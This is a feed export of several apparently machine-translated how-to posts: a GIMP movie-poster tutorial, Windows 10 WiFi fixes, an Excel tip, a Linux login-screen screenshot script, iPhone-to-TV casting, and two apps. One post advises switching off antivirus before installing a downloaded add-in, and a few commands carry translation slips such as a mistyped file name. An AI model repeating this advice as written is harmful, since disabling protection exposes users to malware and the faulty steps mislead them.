the image to align them so that it is in the center of the canvas. Click the Scale button to apply the effect.\n  When the image is scaled down, the user can use the Alignment tool so that the image is centered on the canvas. Select Alignment tool from Toolbox, in Tool Options, click on the image, change 'Align Relative to:' to 'Image', then click on 2 options 'Align center of target' and 'Align middle of target' .\n4. Create a 'Black Hole' layer   Duplicate the main Galaxy layer by clicking on the layer and clicking the 'Duplicate' icon in the Layers panel .\n  \nClick on the Galaxy Copy layer and go to Filters\u0026gt; Blur\u0026gt; Circular Motion Blur . Adjust the settings in the Circular Motion Blur dialog until you get the desired results, then click OK to apply.\n  Duplicate the main Galaxy layer again (NOT the layer that applied the Blur effect ) and apply the Circular Motion Blur filter to this new layer (named Galaxy copy # 1 ). However, this time, reduce the Angle to 1 so that the Blur effect is not too strong. Click OK.\nNow, there will be two layers with the Circular Motion Blur effect , with one layer having the Blur effect stronger than the other (the stronger Blur layer should be at the top of the Layers panel ).\n  \nCreate a new layer and name it 'Black Hole' . Make sure the 'Fill with' option (located at the bottom of the New Layer dialog box ) is set to 'Transparency'. Then click OK.\n  \nClick the ruler on the left side of the canvas and drag to make the standard line appear. Drag the standard line, use the units displayed at the bottom left of the canvas and place it in the middle of the layout (drag until the left unit is '12 .00 ', ie 12 inches, or the center of the image according to vertical calibration line).\nIf you like, users can also click on the standard line with the Alignment tool and select the option 'Align to center of target' .\nRepeat this step for the horizontal calibration line, but drag the calibration line from top to bottom, until the right figure shows up at the bottom left of the canvas with a value of 18. The two standard lines will intersect in the middle of the composition. .\n  Now select the Ellipse tool from the Toolbox (or press E on the keyboard) and check 'Feather edges' in the options. Place the Feather edges into a 50 radius . Click and drag the mouse in the center where the standard lines intersect, then hold Ctrl and Shift to make sure the ellipse is drawn in a perfect circle and expand from the center out.\nThe ellipse in the example is about 750 × 750pixel, shown in Tool Options.\n  \nThen, select the Bucket Fill tool from the Toolbox (or press Shift + B on the keyboard) and fill it with black for the ellipse. Now, we will have a black circle with blurry edges.\n  With the selection still active, go to Select\u0026gt; Grow and change the unit to pixels (px). The selection will be increased by 100pixel.\n  \nThen right-click on the Galaxy Copy layer and select 'Add layer mask' .\n  In the 'Initialize Layer Mask to:' section , select 'Selection'. This option creates a layer mask from the elliptical selection area you just drew. The layer below will now be visible, in addition to the area in the ellipse selection.\n  Next, click on the Galaxy copy # 1 layer. Go to Select\u0026gt; Grow and make the selection 200pixel increase . Click OK.\n  \nRight click on the Galaxy copy # 1 layer and go to Add Layer Mask . In the 'Initialize Mast Layer to:' section , select 'Selection' again.\n  This will let the user see the original Galaxy image, except the inside of the 2 mask just created. There should also be two more loops around the black hole, a fainter and a smaller circle. If not, make sure the stack layer is the same as in the example (users can click and drag layers in the Layers panel to move them up or down at will).\nGo to Select\u0026gt; None to deselect the ellipse selection.\n5. Create Event horizon   Now that we have the black hole, the next step is to create Event horizon. It is the point where light no longer escapes the black hole. To do this, right-click on the 'Black Hole' layer and select 'Add Alpha to Selection' . This option will create a selection around the circle we filled in.\n  Then go to Select\u0026gt; Grow and increase the area of 50pixel.\n  \nCreate a new layer and name it 'Event Horizon'. Drag this new layer below the 'Black Hole' layer .\n  \nSelect the Bucket Fill tool and change the foreground color to white. Fill the selection with white. Go to Select\u0026gt; None to deselect the selection.\n  Select the Paint Brush tool and select the Hardness brush 025. Adjust the size of the brush by using brackets on the keyboard ( [ or or ] ), or by using the Size slider in Tool Options and drawing random strokes out of the white circle.\n  Next, go to Filters\u0026gt; Blur\u0026gt; Gaussian Blur . Adjust the x and y values ​​to about 50. Click OK to apply.\n  Reduce the Event Horizon layer's opacity to about 50%.\nUsers can calibrate to see what the layout looks like by going to View\u0026gt; Show Guides (if selected, the standard line will be hidden).\n6. Add the main text   Select the Text tool from Toolbox. In Tool Options, change the font to any font you want to use (for example, using the free Exodus font). Select the font size (in the example is 150). The distance between the letters is also increased to 35. Click anywhere on the canvas and enter the movie name. For example, naming the fictional film is Spacetime.\n  \nUsers can select the Move tool to locate the text, then switch to Alignment tool , click on the text and select 'Align center of target' to center the text on the page.\n  If you want the main text to stand out, create a black polygon behind the main text. To do this, select the Free Selec t tool from Toolbox. Make sure that the standard lines are displayed again by going to View\u0026gt; Show Guides .\n  Create a new layer and name it 'Spacetime Black Area' . Make sure that the layer is set to transparent and click OK. Move this new layer below the Spacetime text layer .\n  \nNow, with the lasso tool , click to create the points (called nodes) around the diamond-shaped text. Note how to create nodes on the central grid line at the top and bottom of the text and external nodes beyond the width of the text.\n  Select the Bucket Fill tool (which will turn the diamond into a selection) and fill this selection with black. Go to Select\u0026gt; None to uncheck this area.\n  Now, with the 'Spacetime black area' layer selected, go to Filters\u0026gt; Blur\u0026gt; Gaussian blur . Increase the size for X and Y a bit (about 26). Click OK to apply.\n7. Add the caption text   Select the Text tool again and change the text to Exodus Demo (this is the free version of the advanced font, so normal characters will work and special characters won't). Change the font size to 41px. Also, change the distance of the letters back to 0 . Enter the subtitle text, in this case 'The Brevity of Life Meets the Infinite Universe' .\nYou can use the Alignment tool again to center the caption text.\n8. Add astronaut images   Open the downloaded astronaut image in GIMP by going to File\u0026gt; Open and selecting the astronaut's photo.\n  Delete the background of the photo so that only the astronaut image is included in the poster layout. To do this, select the Foreground Select tool . The mouse pointer will look like the original lasso tool. Make sure 'Feather edges' is selected in Toolbox. Start by clicking to create nodes around the foreground object trying to separate. Leave a space between the foreground and the background when drawing this line (ie do not draw close to the foreground object). Press Enter when connecting the last point with the first point. The image will turn into blue.\n  Now, the mouse pointer will look like a paint brush. Choose foreground color different from the background color of the current image (this case uses white) and randomly draw a line through the foreground object. This line is not necessarily correct because GIMP uses an algorithm to determine which is foreground and which is the background. When drawing and releasing the mouse, the blue areas will turn transparent wherever the brush is used. Press Enter when finished.\n  If there are extra parts of the background, in Tool Options, the user can change the drawing mode to 'Draw Background' and draw a line through the parts that need to be distinguished from the foreground. Users can also set the drawing mode to 'Draw Foreground' for any part of the foreground to be accidentally selected as a background (these sections will be highlighted in blue).\n  Press Enter to apply the tool, create a selection around the object.\nNow, the user will see a rough selection around the foreground object. Copy this part by going to Edit\u0026gt; Copy or pressing Ctrl + C on the keyboard.\n  Go back to the poster layout and press Ctrl + V to paste. The astronaut image without the background will be pasted as a floating layer. Click the new layer creation icon to add this image to its own layer.\nUsers can double click on the name of this layer and change it to 'Astronaut'. Then, click and drag the layer until it is above all the other layers in the composition. Now users will see astronaut images on canvas.\n  Select the Scale tool and click on the astronaut image. Drag the Scale tool to reduce astronaut image size. Click Scale when the desired size is available.\nNext, select the Move tool from the Toolbox or press the M key on the keyboard and adjust the astronaut image so that it is in the middle of the layout.\n  Now, change the astronaut's color temperature because by default, it looks a bit too green. Go to Colors\u0026gt; Color Temperature (if you're using GIMP version 2.9 and above).\n  Set the initial temperature to 4100K and set the intended color temperature to 5500K. This will give the astronaut image a warmer color, and make it more intimate with the photo.\n9. Add release date Reselect the Text tool , choose a font (for example, use Nexa Bold), font size (75px) and, if desired, apply any spacing between the desired text (eg, add 10px ). Then, click on the part near the bottom of the canvas. Enter the release date of the movie.\nNext, select the Alignment tool and click on the text. Click 'Align center of target' to center the text on the page\n10. Add Zoom Motion Blur effect   Next, make the astronaut look like he's moving towards the black hole - like being sucked into it! To do this, start by copying the Astronaut layer . Then increase the size of this layer by going to Layer\u0026gt; Layer to Image Size .\n  With the Astronaut copy layer still selected, go to Filters\u0026gt; Blur\u0026gt; Zoom Motion Blur .\n  Adjust the setting of Zoom Motion Blur to match as shown in the image above (or until you get the desired look). The goal is to make astronauts look like they're moving toward the black hole. Right now, the Blur effect covers the entire astronaut image, but we just want it to cover the lower half to make the astronaut move backwards.\n  Right click on the Astronaut copy layer and select 'Add Layer Mask' . In the 'Initialize Layer Mask to' section , select White (full opacity) .\n  Now, select the Gradient tool , change the gradient to 'FG to Transparent' and change the 'Shape' to 'Linear'. Click the position near the astronaut's head to start, then drag to near the knee to finish the gradient. If you are using GIMP 2.9.8 or higher, users will be able to edit the gradient directly to be able to move around the start and end points, as well as adjust the opacity of the gradient to make it possible. the point where the Zoom Motion Blur effect starts to fade. Remember that because we are on a white layer mask, when painting black on the mask (as we are doing with the gradient), it will hide the objects on that layer anywhere black. This is why Zoom Motion Blur fades when you apply a gradient that changes from black to transparent.\nOnce you've adjusted the gradient as desired, press Enter to apply the gradient. Now it's time to blur the astronaut's lower part with Zoom Motion Blur .\n11. Add Vignette layer Create a new layer and name it Vignette. Make sure this layer is at the top of the Layers panel .\nWith the layer selected, go to Filters\u0026gt; Light and Shadow\u0026gt; Vignette (if you're using GIMP 2.9.8) - or if you're using GIMP 2.8, go to Tools\u0026gt; GEGL Operation and select Vignette from the drop-down list.\n  Adjust Vignette's settings until it looks like you want. If you want Vignette in the middle of a bit, you can increase the value of the 'Rotation' slider . Click OK to apply.\n12. Add the name of the cast   Users can add the name of the cast at the top of the canvas. To do this, click on the Text tool , make sure the font is still set to Exodus, the font size is 40, the text color is white and click near the top of the layout to create a new text layer. (place this layer on the Vignette layer ). Enter the name of the first actor. Click elsewhere on the layout, near the beginning to enter the name of the second actor. Do the same with the remaining actors.\n  Users can align the names of the actors by clicking and dragging the standard line from the top down and placing it at the bottom of one of the actor names (any name wants to use the standard to align other names. ). Then, select the Move tool (click on the M key on the keyboard or select from the Toolbox) and move the remaining names accordingly. Make sure to click on the text layer containing the content you want to move before clicking on the text with the Move tool . Users also need to click directly on the text, otherwise any clicked layers will be moved. Users may need to select the Zoom tool from the Toolbox (or by pressing the Z key on the keyboard) to click and enlarge the name, before using the Move tool to move. Users can also use the keyboard arrows to further adjust the position of the text after clicking it with the Move tool .\n  \nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYympq%2BhlWK9sL%2FTnqmsZZmjeqi1zKk%3D\n","link":"/post/how-to-create-movie-posters-in-gimp/","section":"post","tags":null,"title":"How to create movie posters in GIMP"},{"body":"When using a\u0026nbsp; laptop \u0026nbsp;to connect to WiFi, sometimes users will encounter connection errors, unable to access the Internet. The article will summarize common WiFi errors as well as guide you how to solve Windows 10 WiFi errors. Stay tuned!\nBefore trying to fix WiFi errors on Windows 10, make sure the WiFi Adapter on your computer is turned on.\nTurn on WiFi on your device, select the WiFi network you want to connect to and enter the password.\nIf you have turned on WiFi properly and have a Windows 10 WiFi error, then follow along to find a fix!\nWhen you click on the Globe icon and don't see an option to turn on WiFi, it may be because the\u0026nbsp; WiFi Adapter \u0026nbsp;has been stopped.\nStep 1 : Click on the Globe\u0026nbsp; icon\u0026nbsp; \u0026gt; Select\u0026nbsp; Network and Internet Settings .\n  Step 2 : Click\u0026nbsp; Change adapter options .\n  Step 3 : Locate the\u0026nbsp; WiFi adapter \u0026nbsp;on the screen that opens \u0026gt; Double click to turn it on.\n  Step 4 : If the error is still unresolved, you right click the icon\u0026nbsp; WiFi\u0026nbsp; \u0026gt; Select\u0026nbsp; Troubleshoot problems \u0026nbsp;( error analysis ) to launch the debugger.\nOnce done, try testing. You may need to restart your laptop for WiFi to work properly again.\n  Step 1 : Press the Windows\u0026nbsp; +\u0026nbsp; R\u0026nbsp; key combination\u0026nbsp; to open the Run dialog box.\nStep 2 : Type search\u0026nbsp; devmgmt.msc \u0026nbsp;\u0026gt; Press\u0026nbsp; OK\u0026nbsp; or\u0026nbsp; Enter .\n  Step 3 : Double click on\u0026nbsp; Network adapters \u0026nbsp;\u0026gt; Double click on the\u0026nbsp; WiFi adapter .\n  Step 4 : Select the Advanced\u0026nbsp; tab\u0026nbsp; \u0026gt; In the Property box\u0026nbsp; , select\u0026nbsp; Country and Region\u0026nbsp; (or Wireless Mode) \u0026gt; Change the value according to your location in the Value\u0026nbsp; box\u0026nbsp; \u0026gt; Click\u0026nbsp; OK .\n  Note : Not all adapters have access to the Country and Region property.\nThe driver \u0026nbsp;in a computer is like a bridge between hardware and software, allowing the operating system as well as applications to interact to take advantage of the functionality of the hardware. Simply put, it helps the computer to connect to the WiFi network, so setting up the driver can help you fix the WiFi connection error.\nStep 1 : Type search\u0026nbsp; cmd\u0026nbsp; \u0026gt; Right click on\u0026nbsp; Command Prompt\u0026nbsp; \u0026gt; Select\u0026nbsp; Run as administrator .\n  Step 2 : Enter the command\u0026nbsp; netsh int ip reset \u0026nbsp;\u0026gt; Press\u0026nbsp; Enter .\n  Step 3 : Restart the computer to fix WiFi Limited error on Windows 10.\nStep 1 : Open\u0026nbsp; Start\u0026nbsp; \u0026gt; Select\u0026nbsp; Settings .\n  Step 2 : Select\u0026nbsp; Update \u0026amp; Security .\n  Step 3 : Select\u0026nbsp; Troubleshoot\u0026nbsp; \u0026gt; Select\u0026nbsp; Internet Connections\u0026nbsp; in \u0026nbsp;the list on the left.\n  Step 4 : Select\u0026nbsp; Run the troubleshooter . Wait after the error correction process is complete, restart the computer.\n  The \" No internet access \" error is a basic error that many computer or laptop users often encounter. At this point, an exclamation point icon\u0026nbsp; \u0026nbsp;and a\u0026nbsp; yellow triangle \u0026nbsp;will appear on the WiFi icon. This error occurs when your laptop is connected to a network device or WiFi network but it cannot access the Internet.\nThere are many causes for this error such as: Due to network congestion, your computer has an IP conflict with another device, or due to modem error, incompatible WiFi driver, .\nTo fix this error there are many ways such as: Restart the computer, restart the modem and router, check with Command Prompt, check the IP address, use Windows Network Troubleshooter, .\nWhen using a web browser on a computer or laptop, sometimes users will encounter a No Internet, secured error\u0026nbsp; . The cause of this error comes from setting the wrong\u0026nbsp; IP address \u0026nbsp;when connecting to the network.\nTo fix this error there are many ways such as: Restart the computer and router, run the Networking Troubleshooter, refresh the IP configuration, reinstall Winsock, check the connection properties again, turn off the VPN software,. .\n  The error of a slow and unstable laptop on the network is one of the common problems and causes many obstacles to your work and entertainment needs. The cause of this problem may be related to the operating system on the machine or the network signal receiving and transmitting devices that you are using.\nTo fix this error you can try many ways such as: Restart the computer, Modem,\u0026nbsp; Router ; disable automatic download of updates for Windows; turn off applications running in the background on\u0026nbsp; Windows 10 ; use DNS to speed up the network,.\nStep 1 : Select the WiFi\u0026nbsp; icon\u0026nbsp; \u0026gt; Select\u0026nbsp; Disconnect\u0026nbsp; to disconnect.\nStep 2 : Select\u0026nbsp; Connect Automatically \u0026nbsp;( Automatic connection ) to help you network connection automatically at the following times.\n  Step 1 : Click on the WiFi\u0026nbsp; icon\u0026nbsp; \u0026gt; Select\u0026nbsp; Network and Internet Settings .\n  Step 2 : Select\u0026nbsp; Change adapter options .\n  Step 3 : Right click on\u0026nbsp; the WiFi network icon \u0026nbsp;\u0026gt; Select\u0026nbsp; Disable .\n  Step 4 : Wait for a while, then right-click on\u0026nbsp; the WiFi network icon\u0026nbsp; \u0026gt; Select\u0026nbsp; Enable .\n  Step 1 : Right-click on the Start\u0026nbsp; icon\u0026nbsp; \u0026gt; Select\u0026nbsp; Device Manager .\n  Step 2 : Expand\u0026nbsp; Network Adapter s \u0026gt; Right-click the\u0026nbsp; WiFi card \u0026nbsp;\u0026gt; Select\u0026nbsp; Properties .\n  Step 3 : Select the Power Management tab\u0026nbsp; \u0026nbsp;\u0026gt; Untick the line\u0026nbsp; Allow the computer to turn off this device to save power \u0026nbsp;\u0026gt; Select\u0026nbsp; OK .\n  Note : If you connect to the Internet with an Ethernet cable\u0026nbsp; , right-click on the Ethernet network card port \u0026gt; Select\u0026nbsp; Properties , and follow the same steps as in step 3 above.\nAfter updating Windows 10, there will often be some errors, including the problem of not catching WiFi. This is because the WiFi drivers are not compatible with the new update or the new update causes errors and conflicts with the WiFi Drivers.\nSome ways to fix WiFi errors, can't catch WiFi on Windows 10 such as: Use Command Prompt, reset TCP/IP stack, update WiFi Drivers, use Internet Connection Troubleshooter tool.\nStep 1 : Right-click the Start\u0026nbsp; button\u0026nbsp; \u0026gt; Select\u0026nbsp; Device Manager .\n  Step 2 : Select\u0026nbsp; Network adapter\u0026nbsp; \u0026gt; Right-click\u0026nbsp; the problem adapter\u0026nbsp; \u0026gt; Select\u0026nbsp; Properties .\n  Step 3 : Select the Driver\u0026nbsp; tab\u0026nbsp; \u0026gt; Select\u0026nbsp; Update Driver \u0026nbsp;to update to the new version, or\u0026nbsp; Roll back Driver \u0026nbsp;to return to the old version \u0026gt; Click\u0026nbsp; OK .\n  Step 1 : Press Windows\u0026nbsp; +\u0026nbsp; R\u0026nbsp; combination\u0026nbsp; \u0026gt; Type \u0026nbsp;search\u0026nbsp; cmd\u0026nbsp; \u0026gt; Press\u0026nbsp; Enter .\n  Step 2 : Enter the following commands in turn (press Enter after each command):\n- netsh winsock reset - ipconfig /release - netsh int ip reset - ipconfig /renew - ipconfig /flushdns   If the error persists and your WiFi is not working, now you just need to change the network name and password respectively. Note, the name and location of the options may vary slightly depending on the router you are using.\n  If WiFi you get the error ' Problem with wireless adapter or access point '. First you need to check the power for the modem, router and computer. Devices operating for a long time will sometimes cause unexpected problems.\nIn this case you should unplug the Ethernet cable from the router for a while and plug it back in. Wait for a while and see if your WiFi condition has improved.\nAbove are some tips to fix WiFi errors on Windows 10 for your reference. Wishing you success!\nwifi error win 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq4tcWiZJ6qoqS%2FtHnOp2SwoZ6ZvLi%2FjGpnZquZor2tsYyapZ1llZuzpq%2FToq2e\n","link":"/post/how-to-fix-wifi-errors-on-windows-10-simple-and-effective/","section":"post","tags":null,"title":"How to fix WiFi errors on Windows 10, simple and effective"},{"body":"Step 1. First, to insert a picture into a comment (comment) in an Excel cell, you insert the comment into the cell (cell) as usual.\n- Write in the desired content box, then right-click on the cell (cell) -\u0026gt; select Insert comment (insert comment)\nStep 2. Next move the mouse cursor to the edge of the comment so that the mouse pointer turns into four arrow marks pointing in four directions\n-\u0026gt; Continue right-clicking the comment border -\u0026gt; then select Format Comment (Comment format)\nStep 3. A menu appears, continue to select the card 'Colors and lines' (colors and lines) -\u0026gt; Fill (fill) -\u0026gt; Color -\u0026gt; Fill Effect (fill / fill effect)\nStep 4. In the Fill Effect section you continue to select the Picture tab (Picture) then select Select Picture (image selection) -\u0026gt; A search box will appear, now you just need to find the photo you want display in the comment section then select only.\n-\u0026gt; Then click ok twice to display the image you choose is out\nStep 5. - You can show or hide comments if you want (show / hide comments)\nAnd this is the result:\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIypoJyspaeytHnIp6uoZZGjeqbEwp6jZpuforqmutNmmaiw\n","link":"/post/how-to-insert-pictures-into-an-excel-comment-box/","section":"post","tags":null,"title":"How to insert pictures into an Excel comment box"},{"body":"There are many screen capture utilities available for Linux and most work very well. But strangely, none of these tools have the ability to take a screenshot of the login screen.\nHowever, there are still some ways to get screenshots in Linux logon. Today's article will introduce you to 2 ways to do this. Method 1 is much easier than way 2, but it does not allow users to take custom screenshots. The second option is much more useful and can capture any login screen. Whichever way you choose, it is perfectly possible to take a screenshot of the Linux login screen with full resolution.\n2 ways to take screenshot of login screen in Linux Capture screen login in Linux using virtual machine Capture screen login in Linux with a script Install ImageMagick Create script Screen capture Convert format  Capture screen login in Linux using virtual machine Before proceeding through this tool, you should know that it is much easier to just take a screenshot of a virtual machine. If you are running virtual machines on the system, especially if it is virt-manager or VirtualBox, users can easily take screenshots using the built-in utilities in those applications. There is really no need to do anything bigger.\nCapture screen login in Linux with a script Warning : This method does not work with any system running Wayland. Up to now, this method is not applicable for many distributions running Gnome, including Ubuntu. If you are using Gnome and Wayland, virtual machine method is the best choice.\nHowever, there is a way to take a screenshot of the login screen from within the same system. Just write a short script to do this. This tutorial assumes that the user is using a version of Ubuntu or Debian, but can apply the same to other systems.\nInstall ImageMagick The script to write requires a common application called ImageMagick. Chances are it has been installed on your system. Either way, remember to install this tool before doing anything else.\nsudo apt install imagemagick  Create script Now, Linux has been installed ImageMagick. You can start creating your script. It is relatively short and designed for using ImageMagick to take screenshots of a specific application. In this case, the application is the login manager. On current Ubuntu and Debian systems, the login manager is GDM.\n  Open your favorite text editor and create a new file for the script. Users can name them freely but remember to provide file name extensions. Do the same as the example below:\n#! /bin/bash chvt 7 DISPLAY=:0 XAUTHORITY=/var/lib/gdm/$DISPLAY.Xauth xwd -root  If you use an Ubuntu system and still use Unity or on another desktop environment, you may have a LightDM manager instead of GDM. However, the script will be slightly different.\n#! /bin/bash chvt 7 DISPLAY=:0 XAUTHORITY=/var/run/lightdm/root/$DISPLAY xwd -root  Save the file and exit. Before running the script file, make sure it is executable.\nchmod +x loginscreen.sh  Screen capture Unfortunately, it is not possible to run that script alone. You need to make sure that the login screen is on and still has access to the terminal. There are several ways to do that. If you've ever used SSH, you probably already know what to do. If not, follow these steps.\n  1. First, log out. When you see the login screen, press Ctrl + Alt + F1 . This step will take you to the terminal.\n2. You are now in the terminal. Please log in to the user account, then change the directory with the script and run it.\nsudo ./loginscreen.sh \u0026gt; login-screenshot.xwd  The last part of that command 'directs' the output of the command into a file. That file is a screenshot.\nConvert format   The final step of this process requires converting the file format into something easier to use. ImageMagick can do this. It has built-in commands that help users convert images. Remember to change the ownership of the image first.\nsudo chown user:user login-screensh.xwd convert login-screenshot.xwd login-screenshot.png    Now press Ctrl + Alt + F7 to return to the normal screen. You will find a converted screenshot in the same directory where the script was created.\nGood luck!\nSee more:\nHow to take a screenshot of the website How to capture login screen and lock screen in Windows 10 How to take a picture of the entire website on Coc Coc browser ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyRoLJurYysmqudlaPAqbvTZqafZaSdsm64zqCgp2WjmL%2Bmsc1moKdlnJ67tsQ%3D\n","link":"/post/how-to-take-a-screenshot-of-the-login-screen-in-linux/","section":"post","tags":null,"title":"How to take a screenshot of the login screen in Linux"},{"body":"Currently, TV companies often develop applications, allowing users to control TV with their phones, as well as transferring pictures, music and videos to television. Therefore, if you are in need of uploading to Smart TV, you can go to the app store on iPhone, download the following applications:\nSmart TV, Samsung TV Internet: Samsung Smart View. Smart TV TCL: TCL nScreen. Smart TV, Internet Panasonic TV: Panasonic Remote. LG Smart TV: LG TV Plus. + Download link for Android phones and tablets\n+ Download link for iPhone, iPad\nSmart TV, Sony Internet TV: You do not need to download more applications, you can use the built-in feature of Google Cast (can only be used with Android TV) or Photo Share. After downloading the above application, you do the following: Step 1 . iPhone and TV catch the same wifi network.\nStep 2 . Open the application, select the TV to connect.\nStep 3 . After connecting successfully, you can transfer photos from your phone to the TV.\n  \nTransition interface with LG TV Plus application\nUse AirPlay (works with iPhone 4 and above) AirPlay is a wireless transmission method developed by Apple, used to connect iPhone, iPad to TV via wifi without using cable (Same as Miracast is often used on Android phones).\nHowever, to use this feature, only iPhone and TV are not enough, you need to have an additional device that is Apple TV support.\nApple TV is an Apple decoder, connected to a TV via HDMI port. If a TV is usually connected to an Apple TV, the TV will become a smart TV that can connect to the network and access applications.\nCurrently, the device is being sold in the market with a quite different price, ranging from 1 million to 5 million, depending on the version, memory, as well as depending on the origin of the product with different quality. You should pay attention to buying at reputable stores, to ensure good compatibility with TV.\nTo transfer photos to TV using AirPlay, you need the following devices: IPhone 4 and above. A TV with HDMI port. Apple TV 2nd generation or later (Gen 2 or higher). Note : Each time the TV can only connect to one iPhone phone.\n  Devices required to connect AirPlay\nHow to transfer photos from iPhone to TV using AirPlay\nStep 1 . Connect Apple TV to TV with HDMI cable.\nOn the television, select the data input for the TV by pressing the SOURCE button, INPUT button or the button with the arrow sign icon, then on the TV select HDMI.\n Plug one end of the HDMI cable into an Apple TV, the other end plugs into the TV\n  Select the input of the TV that HDMI and Apple TV will connect successfully\nStep 2 . At this time, the TV will display the main interface of Apple TV. You connect the network to the same wifi network with your phone, by going to Settings ---\u0026gt; selecting General settings ---\u0026gt; selecting Network ----\u0026gt; selecting the wifi network you want to connect, enter the password (if available) ----\u0026gt; Apple TV is connected to the network .\n Go to the Apple TV installation\n Wifi network connection\nStep 3 . In the Apple TV Settings section, select AirPlay then select On.\n Turn on the AirPlay of Apple TV\nStep 4 . On the iPhone, swipe from the bottom up, then select the item AirPlay ----\u0026gt; select the Apple TV you want to connect.\n  Step 5 . After successful connection, when you open any image on the phone, it will be transferred to the TV.\n  In addition, if you use iPhone 5 and above, in addition to sending photos from the phone to the TV, you can also project the iPhone screen on the TV, by turning on Mirroring feature on the phone.\n Enable Mirroring screen projection\n The TV will reflect everything that is displayed on the iPhone screen\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZKmgn6m8tHnFq6amZZmltbC6xGarqGWRYsG3edaiq6Gnpal6onnCmpmlnQ%3D%3D\n","link":"/post/how-to-transfer-photos-from-iphone-to-a-tv-without-a-cable/","section":"post","tags":null,"title":"How to transfer photos from iPhone to a TV without a cable"},{"body":"The sticker set is one of the indispensable components of any chat application from Messenger, Instagram or Viber. And if you want to change the style completely for the sticker set, install AiMee application, create a sticker from your own face.\nThis application is similar to Zamoji, which also creates a sticker for the face that the Network Administrator has introduced to readers. AiMee will provide you with different styles and themes for users to choose and pair with your own face. The complete sticker will completely change your face in a very unique way, no sticker like any sticker. Users can use the sticker set created from AiMee to send on Messenger, or any chat application. Certainly, friends will be surprised because of the sticker style of your own.\nJoin the Network Administrator to learn how to use AiMee in the article below.\nHave you tried the sticker search feature on Facebook Messenger yet? Guide to insert sticker check in position on Instagram How to insert stickers into videos, images on Zalo How to create a sticker for face from AiMee Download the AiMee iOS app Download the AiMee Android app Step 1:\nYou download the AiMee application for the device according to the link above and then start. At the first interface, the application will ask if you want to receive notifications. Then press Get Started to use the application.\n   Step 2:\nSoon the application will ask the user to provide camera access mode, press OK. Appeared interface for taking photos for the face. You can change the front or rear camera of your choice.\n   If you want to get the image available in the library, click on the image icon in the bottom left corner. Then agree to AiMee to access the album on the device. Find the image you want to use in the library and click select.\n   Step 3:\nOnce you have the image, AiMee will automatically identify the eyes and lips in the picture. If the identity is not correct, you can adjust as you like by moving the blue shapes. Next to choose sex for sticker, age for sticker.\n   Step 4:\nContinue the user to adjust the external appearance for the sticker, hair style, face, hair color, eyes, facial expressions . When finished adjusting press the Confirm button above the right corner to confirm.\n    Step 5:\nYou wait for a few seconds and will see the application blending faces into the stickers, displaying them according to different topics. We drag right or left the above topics to switch the sticker.\nNote some sticker with lock icon means charge to download sticker.\n   Step 6:\nSelect the sticker you like and click on it. A new window interface appears with many options to use, such as downloading, or quickly sharing it for friends via Messenger, Instagram, . When sharing on Facebook, it is necessary to agree to let AiMee open the application and post it This sticker.\n    Step 7:\nBesides, we can put AiMee into a keyboard on the device. Click on the keyboard icon in the top right corner of the screen. Click on Enable in Settings to proceed with the setup.\n   Step 8:\nNext, turn on the AiMee Keyboard to use. Continue clicking Select Language to select the language for AiMee.\n   Step 9:\nGo to the next step, click Select AiMee Keyboard and then click on the AiMee keyboard to use. When successful, we will see instructions on how to use the AiMee keyboard.\n    \nStep 10:\nNow try opening any text importer, such as a message. Clicking on the content will see the icon of AiMee. Clicking on this icon will appear a series of AiMee stickers that you have created from your own face.\n   Step 10:\nReturn to AiMee's interface. Click on the smiley icon and there will appear some more options as below.\nCreate Avatar: Create new stickers from your face or others. Face Edit: Edit your sticker face, you can choose your face at the bottom. Delete Avatar: Delete the face you are selecting.    A very unique sticker creation app? With AiMee, the sticker will completely change the style of sticker you are using when plugging it with your own face. In addition, users can also send stickers to Messenger, or use AiMee as a keyboard to attach when using the messaging application.\nSee more:\nGoogle Allo can now turn selfie into sticker Transform color chat window Facebook Messenger How to use the new Camera effect on Facebook Messenger I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqitcyenGasn2Kws7HArZxmmV2owaqvyp6pZp6ipLpuwMeeZJ%2BZk5o%3D\n","link":"/post/how-to-use-aimee-to-create-a-sticker-from-the-face/","section":"post","tags":null,"title":"How to use AiMee to create a sticker from the face"},{"body":"If you spend a lot of time on the Internet, you will love Memeois - the new iOS app created to provide the hottest meme.\nMemeois was created by a 17-year-old boy - named Anushk Mittal. To access the application, simply log in via your Facebook account.\nDownload Memeois for free.\nThe application will use the machine learning data analysis method to collect your Facebook activities in order to determine what you want to see. It will also display different trends based on your activity in the app.\nOffers unique meme theme for Windows 7, 8.1 and 10 Why is Meme called . meme? I tried the Memeois experience and found that the application really brings the meme I like. I saved some funny pictures into my Book by pressing the Share button below that meme.\n  Also, if you want to become the next meme creator in the world, Memeois can be a tool to inspire you. The app provides templates and allows you to create your own new meme. If you don't like the meme interface or message after creating it, just use Quick Edit to refresh it and share it with your friends.\n  Memeois also has a place to explore new meme in different categories. Go to Discover section and select an image, it will take you to a folder containing similar meme. You can share the most interesting searches and creations with social media right on the app or add them to your Book so that your friends and family can see it.\nCurrently, the application works on iPhone and Apple Watch, download immediately the application to experience you alone!\nncG1vNJzZmismaXArq3KnmWcp51ku6bDjK6loqmlmnquscyeZJqooGK8r3nIqKo%3D\n","link":"/post/new-unique-meme-app-on-ios/","section":"post","tags":null,"title":"New unique meme app on iOS"},{"body":"You are a text editor, you must type a large amount of text and can not review all a long amount of text to find typos. Now finding a software that can help you check and spell check is extremely necessary and useful. So today TipsMake.com would like to introduce to you the software to check Vietnamese spelling errors quickly and accurately . Let's find out what software it is and how to use it.\n  The software that TipsMake.com wants to mention in this article is called Tummo Spell by Nguyen Hieu Van .\nYou can refer to and download the software at the home page:\nhttps://www.tummosoftware.com/add-ins/tummo-spell.html\nStep 1 : After the download is complete, to install the software we should temporarily turn off the Virus browser, avoiding the case that the antivirus software mistakenly identifies us so that we cannot install the software (For example, Kaspersky Virus Removal).\nYou should run the installation file as Administrator.\nSystem requirements: Your computer uses Word versions from 2007 to the present.\nStep 2 : After the successful installation, the Word of you will have more stuff that is ' spell '\n  Here you can install modes like:\n- Limit the error search text.\n- Automatic replacement of frequently wrong words.\n- Identify errors by underlining or coloring. You should choose Error Type: Highlight to help you find errors more easily.\nStep 3 : After 